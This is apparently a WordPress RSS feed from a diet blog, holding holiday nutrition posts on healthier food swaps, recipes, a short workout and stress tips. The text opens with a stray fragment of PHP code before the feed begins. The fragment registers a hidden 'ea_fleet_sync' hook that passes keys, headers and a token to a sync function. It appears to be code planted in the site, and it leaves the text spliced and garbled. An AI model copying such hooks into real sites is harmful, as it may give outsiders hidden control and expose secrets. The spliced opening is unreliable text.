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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Healthy Holidays – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io Sat, 20 Dec 2014 17:02:10 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://skinnygeneprojectnew.dreamsites.io/wp-content/uploads/2023/11/logo-white2-150x150.webp Healthy Holidays – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io 32 32 Naughty Foods On Our Nice List https://skinnygeneprojectnew.dreamsites.io/naughty-foods-nice-list/ https://skinnygeneprojectnew.dreamsites.io/naughty-foods-nice-list/#respond Sat, 20 Dec 2014 17:02:10 +0000 http://skinnygeneproject.dreamhosters.com/?p=2327 By Eileen Ferrer, Skinny Gene Nutritionist

All year long, you have been eating for your health. You have included more fruits and vegetables and cooked your own meals. But did the food you ate belong on the naughty or nice list? If you have been eating well all year, chances are your meal and snack options belong on the nice list. However, there are various misconceptions about certain food, like fat. Fat is notorious, and many people stay away as much as possible. Healthy fat like monounsaturated, polyunsaturated fats or omega-3 fats that come from olive oil, fish or nuts are actually good for you. Healthy fats can protect your heart and support overall health. There are more foods and/or ingredients that have gotten a bad reputation, but in actuality they are quite healthy (in moderation of course, always look at serving size).

Here’s a list of some “bad” foods you should be eating.

Print

 – Peanut butter. It is considered fattening. Peanut butter may be high in fat, but a little goes a long way, and a tablespoon will do. Peanut butter is a good source of protein, folate, and vitamin B.

– Red meat. Beef is full of saturated fat and is high in cholesterol, but lean cuts of beef are low-fat sources of protein and iron. Look for cuts that are deep red and have less marbling, which are the white spots of fat. Try flank or strip steak, sirloin or filet mignon.

– Chocolate (my kryptonite). Chocolate is high in sugar and fat, but in fact dark chocolate is best, and even has heart healthy benefits. Dark chocolate contains flavanols, which are antioxidants with a blood-thinning effect. Dark chocolate has also been shown to help with stress.

– Potatoes. They rank high on the glycemic index, which can increase blood sugars significantly. This is problematic for people with diabetes. However, potatoes are a good source of fiber, potassium, and vitamin C. Bake a potato and drizzle with olive oil. The fat from the olive oil will slow down the absorption of the potato’s carbohydrate, preventing the spike in blood sugars.

– Nuts. Nuts like peanut butter are full of fat. However, nuts contain unsaturated fat, the healthy kind. Depending on which nut it is they have added benefits, such as pistachios contain lutein and zeaxanthin, which are good for the eyes. Almonds provide vitamin E and walnuts have heart healthy omega-3 fats. Be careful with your portion size because they do provide a lot of calories, one ounce of nuts contain about 160 – 200 calories.

– Bread. I’ve heard bread is bad. That is the case when the bread is refined and highly processed, which is the typical white bread. Whole grain or 100% whole wheat bread is actually good and it is recommended by the Dietary Guidelines for Americans to make half the grains you consume whole grains.

 

Enjoy your holiday festivities with family, friends, and some food that is actually not that bad after all. Happy Holidays!

 

 

 

 

]]> https://skinnygeneprojectnew.dreamsites.io/naughty-foods-nice-list/feed/ 0 12 Ways to Stay Healthy Over the Holidays https://skinnygeneprojectnew.dreamsites.io/12-ways-stay-healthy-over-holidays/ https://skinnygeneprojectnew.dreamsites.io/12-ways-stay-healthy-over-holidays/#respond Thu, 12 Dec 2013 05:48:20 +0000 http://skinnygeneproject.dreamhosters.com/?p=1780 By Emily Barr, MS,RD,CNSC

The month of December, right on cue, is flying by!  The parties have begun and will continue all month long, and of course,  into the New Year!  You may have the same old thought recirculating through your mind this holiday season, how are you going to enjoy the season without upsetting your bathroom scale?

There have been studies to show that weight gain during the holiday season may be as little as one pound for those who are of ideal body weight.  But, for those of us that may be above our desired weight (click to see a BMI chart), the risk for weight gain is increased during the festive season, adding up to 3-7 extra pounds. (1)

Your mission this holiday season is weight maintenance.  But how?  Of course, by watching what you eat.  But you can’t stop there; you must get your heart rate up to burn some extra calories.  Even though we usually have the best intentions to eat well and exercise, there is one more key factor that can interfere with your plans for a healthy holiday season. It is an unfortunate thing called stress, which is obviously increased at this busy and financially straining time of year.  The trifecta for weight maintenance must include all three important preparations – nutritional, physical, and psychological preparation!

Here are 12 recipes, 12 exercises, and 12 tips to help you enjoy your holiday season, starting and ending at the same weight!

 

12 Healthy Holiday Recipes

 

1.) Sleigh Driver – Eating Well – Skinny Gene modification: substitute Splenda for sugar

This scrumptious nonalcoholic punch adds pear, cranberries and vanilla to the traditional hot cider.

{Please click on the picture to see the recipe}

 

2.) Asparagus Guacamole – Taste of Home 

Indulge in some guilt-free dipping with this low-fat version of guacamole.

{Please click on the picture to see the recipe}

 

 

 

3.) Sausage Mushroom Caps – Sunset 

These sausage-stuffed mushrooms are the perfect 1-bite party food. (Tip: Lower the fat by using a reduced fat chicken or pork sausage)

{Please click on the picture to see the recipe}

 

 

4.) Brussels Sprouts Salad with Warm Bacon Vinaigrette – Cooking Light 

Brussels sprouts are low in calories, while offering protein, vitamins and minerals to support a healthy body. Unfortunately, they are usually the least favorite vegetable at the table. Hopefully this recipe will convince your loved ones to give Brussel sprouts another try.

{Please click on the picture to see the recipe}

 

5.) Green & Yellow Beans with Wild Mushrooms – Eating Well 

Simply prepared green and yellow beans with wild mushrooms are easy holiday fare.

{Please click on the picture to see the recipe}

 

 

6.) Butternut –Squash Couscous – Delish from Food & Wine 

Butternut squash and chickpeas provide this aromatic dish substantial bite.

{Please click on the picture to see the recipe}

 

 

7.) Bulgur with Dried Cranberries – My Recipes from Cooking Light 

Serve this lemony bulgur—an American interpretation of Middle Eastern tabbouleh—instead of the more familiar and expected stuffing.

{Please click on the picture to see the recipe}

 

 

8.) Pot Roast with Fall Vegetables – Delish from Good Housekeeping 

Looking for a hearty main dish? This high-fiber, filling  recipe should do the trick.

{Please click on the picture to see the recipe}

 

 

9.) Winter Jeweled Fruit Salad – My Recipes from Cooking Light 

Copas de frutas (fruit cups) are popular street food. They typically consist of fresh fruit sprinkled with lime juice and chili powder and are the inspiration for this jewel-colored fruit salad. It’s bright colors makes it perfect to serve for the holidays.

{Please click on the picture to see the recipe}

 

10.) Black and White Striped Cookies – My Recipes from Cooking Light 

Show off your baking talents with these vanilla and chocolate striped cookies.

{Please click on the picture to see the recipe}

 

 

 

11.) Coconut Macaroons– Self 

Dress up this chewy classic for the holidays with a festive, to-die-for drizzle of chocolate. Oats replace part of the coconut to make this a low-fat yet still satisfying goody.

{Please click on the picture to see the recipe}

 

 

12.) Minty Mini-Doughnut cookies – Self

If your looking for a real holiday treat, try these minty mini doughnut cookies. Despite their “sweet” appearance, each only contains 28 calories.

{Please click on the picture to see the recipe}

 

12 Minute Merry Workout

 

1 minute jumping jacks

1 minute lunges

1 minute jumping side- to-side

1 minute push ups

1 minute jog in place

1 minute squats

1 minute stair steps

1 minute wall sit

1 minute high knees

1 minute pushups or pike

1 minute sit-up/crunches

1 minute cool down stretch of arms and legs

 

12 Psychological Stress Relief

 

1.) Make exercise a top priority – goal of 30 minutes or more everyday throughout the holiday season.  Exercise is a great calorie burning stress reliever!

2.) Plan your party contribution wisely.  By bringing a healthy dish, you are guaranteed a healthy choice on the buffet line of risky choices.

3.) Position yourself away from snacks.  Use the mingling time to catch-up with relatives and friends.  Eat later when you are conscious of what and how much you are eating.

4.) Try rallying the troops for a morning or post meal walk around the neighborhood.  Depending on the time of day, it may be a great time to take in the beautiful holiday lights.

5.) Make of list of things that need to be done, prioritizing them to help keep the stress load low.  Don’t be afraid to ask for help!  Kids can be great present wrappers or help with preparing food!

6.) Get your day started with a healthy breakfast.  You want to be sure to get your metabolism going for the day and prevent overeating later in the day.

7.) Take caution when it comes to alcohol, which often may cause us to lose self control and eat more than planned.

8.) Get 8 hours of sleep every night!

9.) Fill your plate with healthy foods including vegetables, fruit and whole grain dishes.  Dish up small portions of other favorite high fat foods.  Be sure to savor each bite!

10.) Take 15 minutes to yourself – read a book, meditate, stretch, or whatever your heart desires, just try to unwind!

11.) Limit the leftovers!  The holiday meal is most often high in fat, calories, and sodium.  Enjoy these splurges on the day, but do not let the meal be repeated for too many extra servings.

12.) Enjoy the reason for the season and time with the family!  The meal should just be a small part of the festivities.

]]> https://skinnygeneprojectnew.dreamsites.io/12-ways-stay-healthy-over-holidays/feed/ 0 Naughty List of Holiday Foods https://skinnygeneprojectnew.dreamsites.io/naughty-list-holiday-foods/ https://skinnygeneprojectnew.dreamsites.io/naughty-list-holiday-foods/#respond Mon, 09 Dec 2013 03:51:01 +0000 http://skinnygeneproject.dreamhosters.com/?p=1798 I don’t know about your house, but having a spirited 6 year old means that the naughty and nice list comes up a lot during the holidays. I’m the one making a list, and my daughter is the one checking it twice ( or twenty times) a day.  If her behavior is less than ideal, then she’s extremely interested in knowing how she can improve it enough to get rewarded on the big day.

Maybe this is why when I came across  the Naughty List of Holiday Foods, it really hit home.  I thought it would be great to not only share what holiday foods made the naughty list, but also what easy changes could be made to make them nice.

The Naughty List of Holiday Foods

By WebMD

‘Tis the season of temptation — and the evidence suggests most of us give in. A study in the New England Journal of Medicine shows the average person puts on a pound during the holidays and never loses it. This adds up to serious weight gain over the years. For those with high cholesterol or high blood pressure, land mines abound on the dinner table. Fortunately, there are ways to avoid the holiday food trap. While Santa makes his list and checks it twice, you can study WebMD’s list of foods that are naughty and nice.

1.) Naughty: Turkey Skin

The skin of turkey and chicken is loaded with saturated fat. Per gram, all fats are higher in calories than protein or carbs, and they contribute to high cholesterol. Dark meat has more fat per bite than white meat.

Nice: Serve yourself turkey breast or other white meat without the skin.

2.) Naughty: Stuffing

Stuffing is typically loaded with butter and assorted high-fat meats, such as sausage. A single scoop may have up to 550 calories.

Nice: Replace butter with low-sodium chicken broth, and skip pork sausage in favor of a low-fat chicken, oyster, or fruit alternative. Or try making wild rice stuffing instead.

 3.)  Naughty: Buttery Mashed Potatoes

Usually, a lot of milk, butter, and salt go into this classic comfort food. A cup of homemade mashed potatoes made with whole milk and butter can have 237 calories.

Nice: Mash the potatoes with low-fat milk or low sodium, fat-free chicken stock and skip the butter, or salt.

4.)  Naughty: Sweet Potato Casserole

Sweet potatoes are one of the most nutritious vegetables out there. They’ve got vitamins A and C, plus a dose of calcium and potassium. But they’re often served in a decidedly unhealthy fashion — casseroles made with marshmallows, butter, and loads of sugar.

Nice: Leave out the butter, cut the sugar in half, and lightly top with mini marshmallows. This will shave calories and fat, not taste.

5.) Naughty: Pecan Pie

Although pecans are packed with healthy fats, vitamins, and minerals, pecan pie is a minefield of sugar and calories. A typical slice of pecan pie has more than 500 calories. That’s because it’s usually made with oodles of corn syrup, butter, and sugar.

Nice: Nibble on a bowl of mixed nuts instead. If you can’t resist the pie, choose pumpkin or opt for a very small slice and don’t eat the crust.

6.) Naughty: Fancy Finger Foods

Be careful at the office holiday party — canapes and other fancy appetizers are often full of fat. Each one is tiny, but the calories add up quickly when there is an endless parade of hors d’oeuvres.

Nice: Chilled shrimp, veggies, and fresh fruits are nutritious low-calorie appetizers.

7.) Naughty: Pigs-in-a-Blanket

Another steer-clear appetizer, each bite-sized piggy has 6 grams of fat, lots of sodium, and little to offer in the way of nutrition.

Nice: Fruit-in-a-blanket is a great alternative. Wrap figs or fuyu persimmon wedges with a thin strip of prosciutto, and then bake for 8 to 10 minutes.

8.) Naughty: Potato Pancakes

Potato pancakes or latkes are a favorite during Hanukkah. But a single medium-sized latkecan have more than 250 calories. Traditionally fried in oil, they are dripping with fat. What’s more, the usual topping is sour cream — another pound packer.

Nice: If you’re doing the cooking, use a small amount of vegetable oil or, better yet, cooking spray. If you’re doing the eating, limit yourself to a couple of latkes with unsweetened applesauce on top.

 9.) Naughty: Caramel Popcorn

Large tins of flavored popcorn have become a popular holiday gift. Although popcorn itself is a nutritious whole-grain snack, slathering on sugary caramel or other sweet syrups is a recipe for weight gain.

Nice: Stick to plain popcorn — the crunch is just as satisfying without the extra calories.

10.) Naughty: Egg Nog

Alcohol, heavy cream, eggs, and sugar make a frightening combo — a single cup of egg nog contains about 340 calories and 19 grams of fat.

Nice: Make low-calorie egg nog with skim milk, egg substitutes, and artificial sweeteners.

11.) Naughty: Mixed Drinks

Cocktails can be surprisingly high in calories. One serving of a white Russian made with light cream has about 350 calories.

Nice: Mix up a wine spritzer by adding a splash of wine and sparkling water to pomegranate or cranberry juice. This not only shaves calories, but also contributes to your fruit servings for the day.

 12.) Naughty: Cakes and Cookies

Carbohydrate cravings may increase during fall and winter. You don’t want to give in by reaching for too many sweets, but it’s not good to ignore the cravings either. Carbs taste good and make you feel good triggering the release of serotonin, a brain chemical that boosts mood.

Nice: The solution is to control portions or snack on complex carbs, such as whole-grain cereal or crackers.

13.) Naughty: Milk Chocolates

Milk chocolates are high in fat and low in the disease-fighting compounds found in purer forms of dark chocolate. Caramel or cream-filled chocolates are also lacking in the health department.

Nice: Solid dark chocolate with at least 70% cocoa is most beneficial, but only in small amounts. Choose dark chocolate with heart-healthy nuts.

Avoid Naughty Holiday Foods

Knowing which foods are naughty is only half the battle. Help yourself resist temptation with these tips:

  • Engage in conversation to slow the pace of eating.
  • At parties, sit far from the buffet table.
  • Excuse yourself from the dinner table once you’ve had enough to eat.
  • Chew sugar-free gum or suck on sugar-free candy to reduce the desire to nibble.

 

]]> https://skinnygeneprojectnew.dreamsites.io/naughty-list-holiday-foods/feed/ 0 Seasonal Sabotage- Surviving the Holidays https://skinnygeneprojectnew.dreamsites.io/seasonal-sabotage-surviving-holidays/ https://skinnygeneprojectnew.dreamsites.io/seasonal-sabotage-surviving-holidays/#respond Tue, 11 Dec 2012 23:02:44 +0000 http://skinnygeneproject.dreamhosters.com/?p=1777 Stop the Seasonal Sabotage!

By Emily Barr, MS,RD,CNSC –

Holiday gatherings bring out the best cookbooks filled with cheesy, oh-so-savory appetizers, creamed casseroles, and ooey-gooey desserts. By preparing these high fat, sodium, and sugar filled recipes, we are committing seasonal sabotage. And worse of all, we are committing it against our favorite people – our beloved family and friends.

Take a new approach to your holiday cooking this year…HEALTH!

Follow these 2 tips to  keep your holiday sabotage free:

1.) When choosing your recipes for your merry meal, look for dishes that are made with fresh foods. Great choices include Brussel sprouts, spinach salad, roasted sweet potatoes and apples, asparagus, broccoli, and fruit salads.

2.) Look for recipes using healthy fats such as olive oil, avocado, canola oil, and nuts. If the recipe calls for butter, try substituting it for a healthy oil based margarine such as Smart Balance. If one of the ingredients is cheese, opt for a 2% or low-fat cheese to reduce the saturated fat.

 

Take pride in making healthy holiday dishes. Modified recipes will still taste delicious when in the company of a healthy happy family!

 WANT MORE?

Check out this previous post Emily wrote about how to avoid holiday weight gain, “Fighting the Urge to Splurge“.

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